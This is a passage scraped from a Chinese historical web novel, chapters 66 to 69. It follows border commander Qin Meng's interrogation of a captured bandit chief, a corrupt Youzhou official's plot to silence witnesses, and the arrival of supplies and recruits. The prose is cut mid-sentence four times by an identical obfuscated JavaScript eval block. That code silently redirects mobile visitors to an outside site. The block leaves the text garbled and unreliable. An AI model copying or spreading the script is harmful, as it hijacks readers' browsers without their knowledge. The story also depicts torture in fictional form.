欢庆之余,秦猛面色一肃,对身旁的张富贵低声道:“来人,给我连夜审讯那个严彪。
冷艳山虽为祸一方,但从不敢冒犯边军虎威。此次竟敢大举袭击朝廷边堡,其中必有蹊跷。
本将怀疑必定有人暗中指使或提供了某种承诺。无论用何种手段,给老子撬开他的嘴。”
“明白,交给我。”张富贵舔了舔嘴唇,露出一个惯有的狞笑,审讯逼供,正是他的拿手好戏。
这时,袁飞手上抓着一个空瓷瓶,来到秦猛身边,主动询问道:“秦知寨,您这种……这种武器究竟是何物?威力惊人,却前所未见。”
“此物名为‘**’。”秦猛并未隐瞒,实话实说。
“是我突发奇想,与堡内范大师一同捣鼓出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418881|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的小玩意,本意是用来对付越境劫掠的**铁骑。
没想到,这群山贼先来尝了鲜,正好实战检验一番。”
他心知这种武器一旦用于实战,根本瞒不了多久。
与其遮遮掩掩惹人猜忌,不如大大方方承认,反而能占据主动,搞不好,还能从中获利。
“确是威力巨大,尤其对付密集冲锋的骑兵,效果想必极好。”
张富贵等人在一旁附和,显然已见识过其威力。
袁飞与徐强对视一眼,皆看到对方眼中的凝重。
此物若是能量产,必能改变边境攻守态势。两人都觉得此事必须尽快上报赵将军做决断。
另一边,诸葛风熟练地统计着各项缴获,看到被驱赶回来的大群战马,既是高兴又面露忧色。
军堡马厩,草料有限,养着原有的近五百匹马已是极限,如今一下子又多出近两百匹牲口。
每日的草料消耗将是个巨大数字,马厩也拥挤不堪,长远来看,简直是甜蜜又沉重的负担。
他见到秦猛归来,立刻小跑着过来汇报:“大人,此次收拢的战马极多,堡内马厩已然不够。
加之粮草消耗剧增,对军寨恐是沉重的负担。又添许多好马,是否……设法处理掉一部分?”
“既然养着吃力,那就卖掉一批,换来的银钱正好补贴军用。”秦猛想也不想,就有了决定。
“常老哥不是就在堡里吗?这件事你就跟他谈。”
说曹操曹操就到!
常九不知从哪个犄角旮旯冒了出来,肥脸上堆满了热情的笑容:“大人,常氏粮行乐意为您效劳!秦知寨真是福星高照,又发利市啊!”
他看着那些体格健壮、神骏的草原马,心头火热:“这些可都是上好的草原骏马,瞧瞧这块头。
在青州、江南等地可是稀罕玩意,价值不菲。常某愿意以每匹一百贯的公道价格全部收购。”
他仿佛已看到将这些马匹贩运至中原和江南后,翻着倍赚取巨额利润的场景,即便不卖,用来装备自家的商队护卫也是极好的嘛!
“等等,秦知寨!”袁飞听了后,却是眉头紧皱,不顾徐强暗中拉扯,一步踏出,正色道。
“这些可都是能充作军用的战马,按大周律,边军有优先征购之权,不得随意买卖于民间。”
“哦?”秦猛转过头,好奇地问。
“袁队长此言何意?莫非我们边军中很缺战马?”
“何止是缺!”袁飞见他似乎真不知情,叹了口气。
他解释道:“秦知寨有所不知。自我大周立朝以来,马政渐废。加之如今朝廷……
唉,如今朝廷度支困难,拨给边军的粮饷马匹年年削减。边陲之地,除了羌人、乌桓等少数部落与我大周关系尚可,保持贸易往来,能换取一些马匹。
其他如女真、契丹、匈奴等大族,近年来陆续与我大周交恶,严禁战马、牛羊、皮货输入。”
第66章 严刑得铁证
徐强是飞虎卫极为擅长骑术的精锐,性格沉稳。在一旁见袁飞直言不讳地说开,点头附和。
“正是!草原上的部落人人至少双马,来去如风,机动性极强,打得过就打,打不过就撤。
我军即便取胜,也难予以重创、全歼,故而缴获甚少。不瞒秦知寨,整个虎贲军中极缺战马。
如飞虎卫八千人,却只拥有四千多匹战马。其他两卫马匹更少,许多精锐两人甚至三人一马。
包括我们飞虎卫,额定的战马也从未满编过。您若要卖,于公于私,都应优先卖与飞虎卫。只是……这价格恐怕要比市价低上一些。”
他说完,有些歉意地看了常九一眼。
“原来如此。”秦猛闻言,沉吟片刻,随即果断拍板:“边境防务乃头等大事,战马自当优先供给军中。
这马,不卖了!
就按规矩,请袁、徐队长清点数目,报于上官,我南河堡将这些战马悉数上缴虎贲军!”
他随即转向常九,抱拳道:“常老哥,抱歉了。战马事关重大,之前是秦某考虑不周,这笔买卖是做不成了。”
“无妨,无妨!”常九虽然有些惋惜,但也是明事理之人,笑着摆摆手:“老弟深明大义,以国事为重,老哥佩服!这点小事何足挂齿。”
秦猛安排道:“诸葛先生,立刻配合袁校尉他们清点战马。秦部将,安排第一批值守的戍卒回营休息。
其余人负责将战利品收拢入库,加强岗哨戒备,不得有误!”
“是!”众人轰然应诺。
诸事暂毕,秦猛走到常九身边,压低声音,挤眉弄眼道:“马卖不成了,不过嘛!小弟另有些好东西,老哥可愿随我去那边看看?”
“哦!”常九小眼睛一亮,顿时来了兴趣:“秦老弟又弄到什么好货色了?快带老哥去看看!”
说话间,两人颇有默契地向着铁匠作坊的方向走去。
袁飞和徐强好奇地张望,只见另有数十辆满载货物、盖着稻草的马车独轮车,正由戍卒护送着驶向堡寨深处那个终日传来叮当声响的区域。
因为道路颠簸,一辆车上掉下一块红褐色的石头。
袁飞下意识弯腰捡起,入手沉重,借着火把光芒细看,不由瞳孔微缩,那竟是成色极佳的赤铁矿。
他看了看那长长的车队,若有所思。
堡内胜利的喧嚣逐渐沉淀,张家猪圈迎来新住户——冷艳山的贼人被结结实实地捆绑,暂时塞满了原本空置的囚室甚至清理出的牲口棚。
一群刚经历大胜、精神亢奋难以入眠的悍卒,在张富贵的带领下,开始了他们的“工作”。
张富贵、李山、刘铁柱、王铁山、刘大牛等一众队将齐聚阴森的地牢。
他们各自拎出一个山贼头目或小队长,分头进行审讯,拷问声与惨叫声在这牢房里碰撞。
女真勇士们缩着脖子,他们怕极了!
张富贵则亲自带人,如拖死狗般将严彪横拖倒拽,拉至重囚牢,将其重重摔在其弟严虎跟前。
**作为亲卫副队长,按刀而立,全程协助,确保万无一失。
“哥!哥……呜呜呜……”严虎看到自家大哥也被擒获,心底最后一丝侥幸彻底破灭。
眼见威震冷艳山的大当家如今也成为阶下囚,他明白末日将至,不禁泪如雨下,恐惧与绝望交织。
“兄弟,你…你果然没死……”严彪见到严虎虽狼狈却完好,心情复杂难言,既恼其无能累及全军,又有一丝血脉相连的庆幸。
他想破口大骂,最终嘴唇蠕动了几下,却什么也没骂出来。
“说!”张富贵提着尖刀杀来。
“把你们知道的全吐出来!
到底是谁在背后指使你们?与哪些狗官勾结?
最好老实交代,免得富贵爷爷发怒,扒了你们的皮点天灯!”
张富贵满脸横肉在跳动的火把光下更显凶恶,声如破锣。
**带着几名悍卒,手里把玩着浸过辣椒水的皮绳、带有倒刺的铁签子等物事,目光恶狠狠又不怀好意地在严氏兄弟身上来回打量。
“哼!”严彪强自镇定,撇过头去,试图维持最后一丝硬气,如同他兄弟当初被擒时那般。
“哼,硬汉?”**见状冷笑,吐出几句从秦猛那儿听来、不甚明了却觉得极有道理的话。
“大人说了,世上没那么多蓝波,没有撬不开的硬骨头。
凡遇硬骨头不肯说,那定是酷刑还没尝够滋味!”
“哥…说了吧!”严虎见到皮绳,下意识地夹紧双腿,脸上浮现出极度恐惧与**的神情。
他颤声劝说兄长:“他们…他们的手段阴毒,搞前后,根本不是人能受的,太…太无耻下作。”
“放屁!”张富贵勃然大怒,恶狠狠地盯着死到临头的贼首:“大人说了,对付你们这些丧尽天良、通敌**的杂碎,用不着讲规矩道义。
掳掠自己的同胞卖到草原为奴为婢,无可饶恕。你们也配称之为人?不过是披着人皮的畜牲。”
他手一挥,立刻有几名如狼似虎的军汉涌上前,将严彪按倒,脑袋被紧紧压贴在冰冷的地面上。
扒其衣,脱其裤……
军汉们动作粗暴,搜检全身,拿着钳子开裆。在这惨叫,拉拽之间,严彪的里衣被撕开。
“吧哒!”一个缝在夹层里的扁平油布小袋掉了出来,顿时吸引了张富贵和**锐利的视线。
……
官署后堂,灯火摇曳。
秦猛与常九对坐小酌,几样简单小菜摆在炕桌上,常九肥胖的身躯几乎占了大半个炕位。
两人从铁匠作坊回来后,便在此密议。
“常老哥,此事要么不做,要做便需雷霆万钧,一击必中。
明日我便要动手,你那边最好出些得力人手,里应外合。”
秦猛与常九碰杯,目光却锐利地眺望着青阳县城的方向。
“没问题。”常九忙不迭地点头应承。
我连夜派人去通知各处掌柜和护卫头领,届时在青
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418882|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
阳县和南河镇等地都有足够的伙计能帮衬策应。”
随即,他又皱起眉头,胖脸上露出一丝担忧:“老弟呀,兹事体大,若没有十足的证据,这般大张旗鼓的强夺,后续怕是麻烦无穷啊……”
“放心,证据我早已准备齐全,明日谁敢阻挡,便是心中有鬼,与**勾结的罪名,我看谁敢硬扛?”
秦猛喝了口酒,露出一个冰冷而凶狠的笑容。
“更何况,今夜审讯那帮贼寇,想必能拿到更扎实的铁证!”
“大人,大人……有口供了!重大发现!”
话音未落,屋外便传来张富贵和**压抑着兴奋与急促的嚷嚷,脚步声与铁甲铿锵声由远及近。
“进来吧,常老哥不是外人。”秦猛朝外喊道。
很快,张富贵、**涌入屋内。
**将几封密信和一份墨迹未干的审讯记录呈给秦猛。
“混帐,该死!”秦猛接过来,就着灯光细看,脸色瞬间变得铁青,胸膛剧烈起伏,显然怒极。
密信上的字迹和官府暗印,赫然指向幽州府内的文官武将!
内容更是触目惊心:指使冷艳山劫杀政敌、假扮马匪劫掠边民村庄、甚至暗中组织向草原输送粮食、铁器、盐巴等违禁物资以牟取暴利!
结合严彪等人的详细口供,一条由幽州**官员操控、山贼执行、通往草原的黑色利益链条清晰无比地呈现出来。
罪行累累,罄竹难书!
“怪不得…怪不得草原**近年来胆子壮了,愈发猖獗,原来是有这些国之蛀虫在暗中资敌!”
秦猛咬牙切齿,盯着审讯记录,拳头攥得咯咯作响。
“老弟,你这是……?”常九在旁观察着秦猛的神色变化,心中好奇与不安交织,忍不住开口询问。
“老哥你自己看吧。”秦猛略作思索,将密信和记录递了过去。
常九接过,只扫了几眼,胖脸上血色瞬间褪尽,冷汗涔涔而下。
“古语云,知道的越多,越容易被灭口。老弟,你…你这可是把哥哥往火坑里推啊!”
常九嘴上说着抱怨的话,眼睛却死死盯着那些证据,飞速阅读,似乎要把内容给记住似的。
秦猛自顾自地斟满一杯酒,一饮而尽,意味深长地笑道:“常老哥,如今咱们可是知道大秘密了,绑在一块儿,算是一条绳上的蚂蚱。
我跑不了,你也跑不脱。
正好,我希望老哥能与我并肩作战。”
“你经商逐利,若无势力庇护,在这乱世寸步难行,财富不过是他人觊觎的肥肉。
兄弟我在边疆掌兵,训练悍卒,正可提供武力保障。你我携手并进,才是真正的共赢之道!”
……
是夜,一匹快马悄然冲出堡门,背负着袁飞亲手所书的紧急军情,直奔飞虎卫大营而去。
马匹飞奔的方向,亦是大周朝廷那看似稳固,实则因朝纲**而渐显倾颓的江山社稷。
北疆的风,似乎正悄然改变着方向。
第67章 幽州密谋
幽州府城,官邸深处。
夜色如墨,寒风卷着零星枯叶拍打着高墙朱门。
一间装饰阔气的书房内。
烛火摇曳不定,将两道对坐的身影投在墙壁上,拉得忽长忽短,恍若暗处窥伺的鬼魅。
刘德福搓了搓微凉的手指,目光投向对面那位身着常服却难掩戎马气质的年轻人。
——他的女婿,幽州豪强杨家次子,官拜幽州兵马统制官的杨浩。
书房里熏香淡薄,却压不住一股隐隐的焦躁。
刘德福几天前定下的计策,封禁运河,唆使山贼袭杀。
一明一暗,自以为天衣无缝。
昨夜,刘德却没来由地心惊肉跳,坐立难安。
这才借着女儿女婿归宁的由头,将杨浩延入这密室一叙。
“贤婿啊…”刘德福嗓音干涩,打破了令人窒息的沉寂。
他往前倾了倾肥胖的身躯,烛光在他油亮的额头上映出一小片光晕。
“前些时日,我那苦命的弟弟德才…遭奸人所害,死状凄惨,喉咙被捏碎,活活用被子闷死……”
他细细叙述,从刘德才之死,再到他后续的报复手段。
动用职权,一纸公文封禁了通往南河边堡的运河漕运。
并暗中派遣心腹家仆刘三密上冷艳山,以重利说动悍匪黑山熊严彪,令其率众袭边,欲将那座戍堡连同其知寨官秦猛一并从世上抹除。
他话音未落,对面的杨浩骤然变色。
“什么?泰山大人,您竟真遣人去唆使山贼袭击边堡?”
杨浩猛地从檀木椅上弹起,声音因极度的惊愕而绷紧,在寂静的书房里,显得格外刺耳。
他年仅二十**,面庞棱角分明,此刻却因震惊和恼怒而显得有些扭曲。
刘德福被女婿激烈的反应弄得一怔,下意识地点头。
“自然,此事宜早不宜迟,我已让刘三携金帛上山,算时日,严彪那群亡命之徒怕是已得手了……”
“哎哟!我的泰山大人!您…您真是老糊涂了!”
杨浩听完,竟似浑身力气被抽空,颓然跌坐回椅中。
他用手重重一拍额头,眼神里满是恨铁不成钢的懊恼与无奈。
若非眼前之人是自己岳父,他几乎要拂袖而去。
“贤婿,此话…此话从何说起?”刘德福心底那丝不安骤然放大,声音也带上了几分惊疑。
杨浩深吸一口气,强压住翻涌的情绪,目光如刀般刮过刘德福惶惑的脸。
“泰山,您动用职权,假借河道淤塞之名封禁运河,尚属官面文章,虽霸道,却未必不能转圜。”
可您千不该万不该,竟**幽州商贾,公然放话,不许一粒粮、一寸铁运往南河戍堡!
近来此事在幽州城传得沸沸扬扬,无人不晓您是在公报私仇!
您此举,无异于公然撕破脸皮,与整个边军体系对抗!”
他稍顿一下,见刘德福面露茫然,只得继续剖析,字字如冰。
“如今界河即将冰封,运河本就行不得船,您这封禁有何实际用处?”
徒然授人以柄!
北边草原**虎视眈眈,每逢寒冬便成群南下劫掠,前沿边堡压力巨大。
一旦南河口堡因‘补给不畅’而失守沦陷,边军帅司立刻就能借此发难,将罪责全数推给幽州地方供应不力!
您这非但不是报复,反而是递给他们一把捅向咱们的刀!”
刘德福张了张嘴,脸色开始发白,他只想着如何掐断秦猛的补给,却从未将此事与整个北境大局联系起来。
杨浩越说越气,语速加快。
“至于联络冷艳山贼寇,更是臭不可闻的昏招!”
“幽州府驻有虎贲军数万,何等势力?”
边堡乃军国重地,纵是再简陋,也代表朝廷颜面!
您让一群山贼去袭边,他们装得再像**,又能瞒得过几时?
边军岂是易与之辈?必定严查到底!
一旦事败,顺藤摸瓜追查下来……”
“无妨!”刘德福强自镇定地摆手,试图抓住最后一根稻草。
“贤婿有所不知,那南河口堡甚是破败,墙矮壕浅。”
严彪麾下有两百余悍匪,骤起发难,一夜之间便可踏平那堡子,宰了那姓秦的,届时死无对证……”
“破败?”杨浩像是听到了天大的笑话,猛地打断他。
“岳丈,您的消息究竟滞后了多少?我刚从帅司得知确切消息,您说的那个南河口戍堡,已升格为边寨!
其知寨官正是您恨之入骨的秦猛!
如今它直受军卫大营节制,岂是往日那般可有可无?”
“什…什么?”刘德福如遭雷击,胖硕的身躯猛地从椅上弹起,撞得身后书架微微一晃,脸上血色尽褪。
“升…升格为边寨了?这…这何时的事?”
“就在近期!”杨浩语气沉痛。
“岳丈,您莫非忘了,所有边堡皆设烽火台?遇敌袭必燃狼烟求援!”
周边军寨、城寨、军卫大营见讯,皆会发兵驰援。
严彪那两三百乌合之众,去攻打一座有援军体系的正式堡寨,这不是自投罗网,是什么?
他们挡得住正规矩边军的一轮冲杀吗?”
“啊——”刘德福彻底瘫软下去,重重跌回椅中,目光发直,嘴唇哆嗦着,却一个字也说不出来。
直到此刻,他才恍然明白秦猛为何有恃无恐,才明白自己心中那强烈的不安源于何处。
冷艳山的贼人,此去恐怕是有死无生!
杨浩看着他失魂落魄的模样,眼中闪过一丝厌弃,但更多的是忧虑。
他压低了声音,语气变得极其凝重。
“岳父,那群蠢贼**倒是干净。”
“我最担心的是那匪首严彪…此人能在冷艳山立足多年,与各方势力怕是都有不清不楚的牵扯。
他知道的东西太多了!
万一,我是说万一,他此次行动失手,被边军生擒活捉…为了苟活性命,他会在审讯之下吐出多少东西?
到时牵扯出您,甚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418883|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
至…甚至牵扯出我们杨家,那后果…”
刘德福闻言,胖胖的身体不受控制地剧烈颤抖起来,额头上瞬间布满冷汗,声音嘶哑干涩。
“那…那那…该如何是好?贤婿,救我!”
杨浩眼中寒光一闪,掠过一丝决绝。
“事到如今,唯有断尾求生。立刻舍弃冷艳山这颗棋子。
我会尽快秘密调动绝对可靠的人马,趁冷艳山主力尽出、山寨空虚之际,突袭剿灭其老巢!
务必鸡犬不留,做成是官军剿匪。
如此一来,既能立功,又能死无对证。
日后无论边军拿出什么证据,我们只需一概否认,咬定是贼人诬陷即可!”
“好!好!就这样办!”刘德福如同抓住了救命稻草,连连点头。
“只要幽州上下口径一致,他们没有实证,也奈何我们不得!”
“还有,”杨浩身体前倾,声音压得更低,几乎细不可闻。
“那个奉命去联络严彪的心腹刘三…他现在何处?”
“就在府中。”
“很好,此人留不得。”
“刘三?他…他是我本家子弟,自小在我府中长大,极为可靠……”刘德福下意识地为心腹辩护。
“岳父!”杨浩语气陡然凌厉,不容置疑。
“此事关乎身家性命,绝不可有半分妇人之仁!”
刘三不仅知情,更与严彪等人照过面。
只要有一个漏网的山贼认出他,或是他将来稍有动摇,所有线索都会直接指向您!
他,必须消失。”
刘德福脸上肌肉抽搐,显出极度挣扎痛苦之色。
刘三跟随他多年,忠心耿耿…
就在这时,窗外突然传来“咔嚓”一声轻响。
“谁?”
杨浩反应极快,厉声低喝的同时,身形已如猎豹般矫健地窜至窗边。
“哐当”一声猛地推开窗户,凌厉的目光急速扫向窗外沉沉的夜色。
寒风瞬间灌入,吹得烛火剧烈摇曳,几乎熄灭。
窗外庭院寂静,唯有枯树在风中呜咽。
借着朦胧的月色,只见一截被风吹断的枯枝落在窗台下,方才那声响动似乎正是源于此。
杨浩仔细探查片刻,确认并无异状,这才缓缓关紧窗户,插上插销。
他转回身,脸上最后一丝缓和的神色也消失殆尽,只剩下冰冷的决绝。
“岳父大人,形势迫人,此刻绝非心软之时。”
刘德福被刚才的动静吓得心惊胆战。
此刻,他再无犹豫,痛苦地闭上双眼,艰难地点了点头。
“好,…就…就依贤婿之意吧!”
烛光摇曳,将书房内两人密谋的身影再次投在墙上,扭曲而阴森。
他们丝毫不知,就在书房窗外的拐角暗处,一个提着茶壶的身影始终屏息蹲伏,将这场足以掀起巨大波澜的密谋,从头至尾,听得一清二楚。
那身影起身,似外冷笑,微微一动,如同融化的阴影,无声无息地退入了更深的黑暗之中。
第68章 魏文的大礼
梆子声在四更天准时响起,如同冰冷的刀子划破寂静。
军营伙房里早已灯火通明,一队抽中下签的戍卒充当火头军,正忙着和面蒸馒头,淘米熬粥。
这是秦猛练兵制定的新规:
他将新老兵丁交叉编为二十多支十人队伍,每月旬末考核,前三名的队伍获得额外奖励。
排名倒数的三支队伍承担杂役却不得减免训练。
多次不合格者直接降为辅兵,不仅军饷削减。
再想升为正规边军,更是难上加难,需经过严格考核,且按规矩杀敌立功,方能再次入选。
这小小举措却让戍卒们不敢懈怠。
堡寨中的操练声日渐凌厉,每个士兵都在为保住正兵资格,为了前三名奖励而拼命训练。
天蒙蒙亮时,馒头与米粥的香气已弥漫开来。
张富贵与王铁山领着百名铁甲军汉涌入伙房。众人捧着热粥,就着咸菜啃着馒头,快速进食。
餐毕,每人又揣上几个用油纸包好的馒头作为干粮。
随后在张、王两位队将的率领下,检查装备、携三日物资,翻身上马,如一道铁流奔出堡寨,马蹄踏碎晨霜,向着冷艳山方向疾驰而去。
秦猛从小到大,挨了打必须还手。
昨夜之所以早早歇兵,正是要趁冷艳山空虚反袭击。张富贵和王铁山昨晚得令,今早出发。
秦猛站在望楼上,目送队伍远去,眼中寒光闪烁:“刘德福啊刘德福,现在轮到我出招了!”
冷艳山贼人来攻打边堡,这事问题极为严重。经过审讯,十多份口供,已确认背后有人指使。
尽管没有证据表明是刘德福所为。
秦猛却不管这么多,别人耍手段,他同样不会讲规矩。
他认定是,那就是!
……
天刚亮,堡子后门就打开了。
人喊马嘶,几十辆大车、独轮车,一辆接一辆往外走。
车上堆满了粮食、皮甲、刀枪,甚至还有一整车冻成冰坨的马肉。
王善带着人,奉命赶往白松岭矿洞。
除了送东西,还得把军寨定的规矩带过去,把那儿的人登记造册。
另外组建一支五十人的自卫队,保证铁矿能按时送到堡里,顺便把矿洞周围的防御给修起来。
“呜、呜、呜……”
临近正午,堡后门突然响起了号角。
——那是瞭望手看见有大队人马靠近的信号。
秦猛在军营练兵,二话不说,带着亲兵赶往堡门。
南边尘土飞扬,远远来了一大队人。
打头的是几十个骑兵,穿着铁甲,拎着制式长刀,背着弓,眼神犀利,一看就不是好惹的。
后面跟着长长的车队,两侧是披甲执锐的兵丁,还有更多扶老携幼的平民,加起来得有六七百人。
带头的是个身材高大、披铁甲的战将。方脸盘,眉宇间带着风霜,还有点藏不住的得意。
来的不是别人,正是南河城寨副将——李雄。
“虚惊一场。”秦猛视力好,看到熟人,松了口气。
“嘿,秦老弟!”李雄也瞧见秦猛,快马加鞭赶过来,到跟前猛地一勒马,利落地跳下来。
秦猛下马,快步迎上去:“哎哟,李老哥,怎么还劳你亲自跑来?我这破地方都蓬荜生辉了!”
这回李雄来堡,亲热了许多,一把抓住秦猛的手,使劲晃了晃,上下打量着他,感慨道:“老弟啊老弟,这才多久没见?你又高升了。
飞虎大营副将,军寨知寨官,下辖管着三个边堡!你这年纪……啧啧,真是前途无量啊!”
李副将话里带着赞叹,也有点藏不住的羡慕。
秦猛握紧他的手,诚恳地说:“老哥别这么说!都是赵将军提拔,还有魏知寨看得起我。
要不是当初南河城寨拉我一把,我早死在哪都不知道了!
老哥你镇守边关多年,是真正的支柱,说什么前途?这地方**、土匪不断,还怕没机会立功吗?”
他压低声音,显得更亲近:“以后我要是有什么动作。就比如扫清幽州匪患,肯定先跟你通气。
老哥你要是有兴趣,带人来帮一把,上报帅司,功劳就像捡石头一样简单,我绝不独吞。”
李雄本来还有点小失落,一听这话眼睛立马亮了,笑得合不拢嘴:“真的?老弟这话可当真?”
“那还有假?”秦猛一拍胸脯,“咱们谁跟谁,同属南河城寨,是一个战壕的弟兄,是过命的交情。
功劳当然一起挣。老哥你经验丰富,磐石营又兵强马壮,就差个机会罢了,必定能高升。”
“好,好,痛快,”李雄心情大好,使劲拍秦猛的肩膀,仿佛已经看到自己升官的样子。
“那老哥我可就等你信儿了!
到时候刀山火海,你一句话!”
说完他才想起正事,指着身后说:“知道老弟你这缺人缺东西,哥哥我可不能空手来贺你高升。这是魏知寨三令五申,让我送你的大礼。”
他先指向那两百来个精悍乡勇:“这些是魏知寨从边镇招来的好手,会打猎骑马,装备齐全。
本来是准备冬天分到各边堡防**的。魏知寨知道你这升寨缺人,特地调了二百来人,加上家眷一共六百多口,全是地地道道的军户。”
“魏知寨说了,这些乡勇的家眷由老弟来安置,他们的粮饷按戍卒标准发,口粮地方州府另外拨。这回自带了两个月的粮,还有这些车……”
李雄又指向那近百辆大车:“一千石粮食,八车棉花布匹,五车铁锭和生铁,还有些药材,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418884|184734||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上等好酒十车,猪羊五十头,耕牛二十头……
都是抄了许家、吴家和县城几个奸商的家得来。魏知寨让我带话:安心练兵守边,重修芦苇堡。所需的粮草军资,他尽力帮你筹措。”
这份礼真是雪中送炭!
粮食、铁料、兵源、人口!
秦猛看着成群乡勇百姓和堆成小山的粮车,心跳都快了几分。这实打实的好处,谁不喜欢?
边堡升格为军寨,最基础的就是有足够的人口。招募兵丁,开荒耕种,自给自足才叫军寨。
秦猛费尽心思,四处招人,才勉强凑够基础千人。一下子涌入六百人,小南河堡人口激增。
堡寨有了白松岭矿洞,但开采铁矿、冶炼还得时间,几车现成的铁锭,铁料送来,求之不得。
棉花布料,用来制作棉衣,棉被。
耕牛就更宝贵了,正好帮忙开荒耕地。
最关键的是,堡寨兵卒用时捉襟见肘。
张富贵带走了百人队奔袭,秦猛也即将带队办事,正愁堡内空虚,此刻却来了两百个乡勇。
他们披甲持锐,身体强壮,又操练不短时日。来得太是时候了,一下子解决军寨后顾之忧。
秦猛郑重地朝李雄和南河城寨的方向抱拳:“请老哥一定替我谢谢魏知寨!秦猛记下这份恩情。一定不负所托,练好兵、守好土!”
“老弟果然是实在人。”李雄先夸了一句,又有点犹豫地说,“另外魏知寨还说,南河堡寨这名字和南河城寨有点重,问你要不要改个名?”
“巧了。”秦猛眼睛一亮,顺势接话。
“我也觉得有点拗口,正想上报改成铁血堡寨。”
他本来就想改名,的确是两者容易混淆分不清。这下正好顺水推舟,省得以后为了名字扯皮。
随着李雄带来这几百号人和大批物资,徐徐涌入堡,小南河堡寨的人口一下子涨到近两千。
小堡里里外外顿时热闹得像赶集。
这几百人一进来,王老保长先笑得合不拢嘴,接着,他又愁眉苦脸,跟诸葛风忙着安置人口、登记造册、分房子,忙得脚不沾地……
秦猛拉过李雄,先为他引荐了秦大壮、李山等人。当介绍到袁飞与徐强时,得知二人身份的李副将更是连忙拱手,口中不停说着“幸会”。
堡寨里早已备好宴席,杀猪宰羊,气氛热闹。
席间,秦猛不断描绘蓝图,着重畅谈了出兵剿匪的计划,冬季对付**的行动,前景美好。
李副将被他的勇气折服,连连称赞。
双方约好,时机成熟,共同剿匪,联手杀**。
这场酒局一直持续到太阳偏西。
李副将红光满面,意犹未尽地告辞。
秦猛带领众人簇拥着李雄,将他一直送到堡门。
第69章 针线缝生死
秦猛送走了李副将一行人,拨马赶往铁匠工坊。
铛!铛!铛!
老远就听见叮叮当当的打铁声,他心里莫名舒坦。
拿下白松岭矿洞,总算不用为铁发愁。
工坊里热火朝天,近来锻造技术改革,产量大增。
老师傅、小学徒,没人闲着。一锤子下去,火星子噼里啪啦乱溅,比过年放花炮还热闹。
一批批三棱狼牙箭镞被打磨得锃亮,叮叮当掉进冷水桶里。
粗壮的枣核钉也被迅速打出来,准备加固各处的望楼。
铁蒺藜淬火冒着白气——这玩意儿四个尖,阴得很。
现在箭镞、枪头、铁蒺藜不再是单个打造,而是用泥模子一批批浇铸,处理,淬火后就能用。
这种模具浇灌法是秦猛提议,李铁匠摸索搞出。
马镫,马蹄铁两种新物件没有模具,靠人工锻打。
好几个师傅专门负责这个,越打越多。有人系皮绳,有人送去裁缝工坊加固,最后才送进军营。
这双马镫可是个宝。昨晚秦猛带人夜袭山贼,全靠它。
弟兄们夹住马肚子,就能腾出双手,在马上开弓放箭。虽说还不如草原人,但至少比以前强多了。
秦猛这回来,主要是看看马蹄铁弄得咋样了。
李铁匠没让他失望。
试了好多次、失败了好多次,总算成功打出了十几个月牙形的马蹄铁……
秦猛乐得眉飞色舞:“李叔,你们这可真是及时雨!有了这,咱们骑兵很快就能练起来。”
“按规矩,所有出力的人都有赏。待会儿诸葛先生就来登记,还会贴告示,让全堡都知道。”
这话一出,工坊里顿时笑声一片。
——大多数人都参与了马镫或马蹄铁的活儿。
“但丑话说在前头,”秦猛语气一转,扫视众人:“这是军事机密。拿了钱,都把嘴管严实了。谁要是说出去,别怪本将按军法办事!”
枣给完了,棒子也得挥一下。
“是!”大伙顿时收敛笑容,纷纷点头。
“猛哥儿,”李铁匠见气氛有点紧,赶紧打圆场。
“这赤铁矿真不赖!炼出来的铁又多又好,再加上你教的法子,打造兵器铠甲不在话下。”
“好!以后矿石有的是,大家放开用!”
秦猛哈哈大笑,没提及任何有关矿洞的事儿。
他吩咐亲兵把烈火马和枣红马牵来,让李铁匠给它们钉蹄铁,又跟这位老师傅商谈新兵器打造……
黄昏时分,王善,庞仁率队归来。
常九那边也传来消息,事情安排妥了。
秦猛集结堡寨兵卒,新来的乡勇,挑选随行兵将。
……
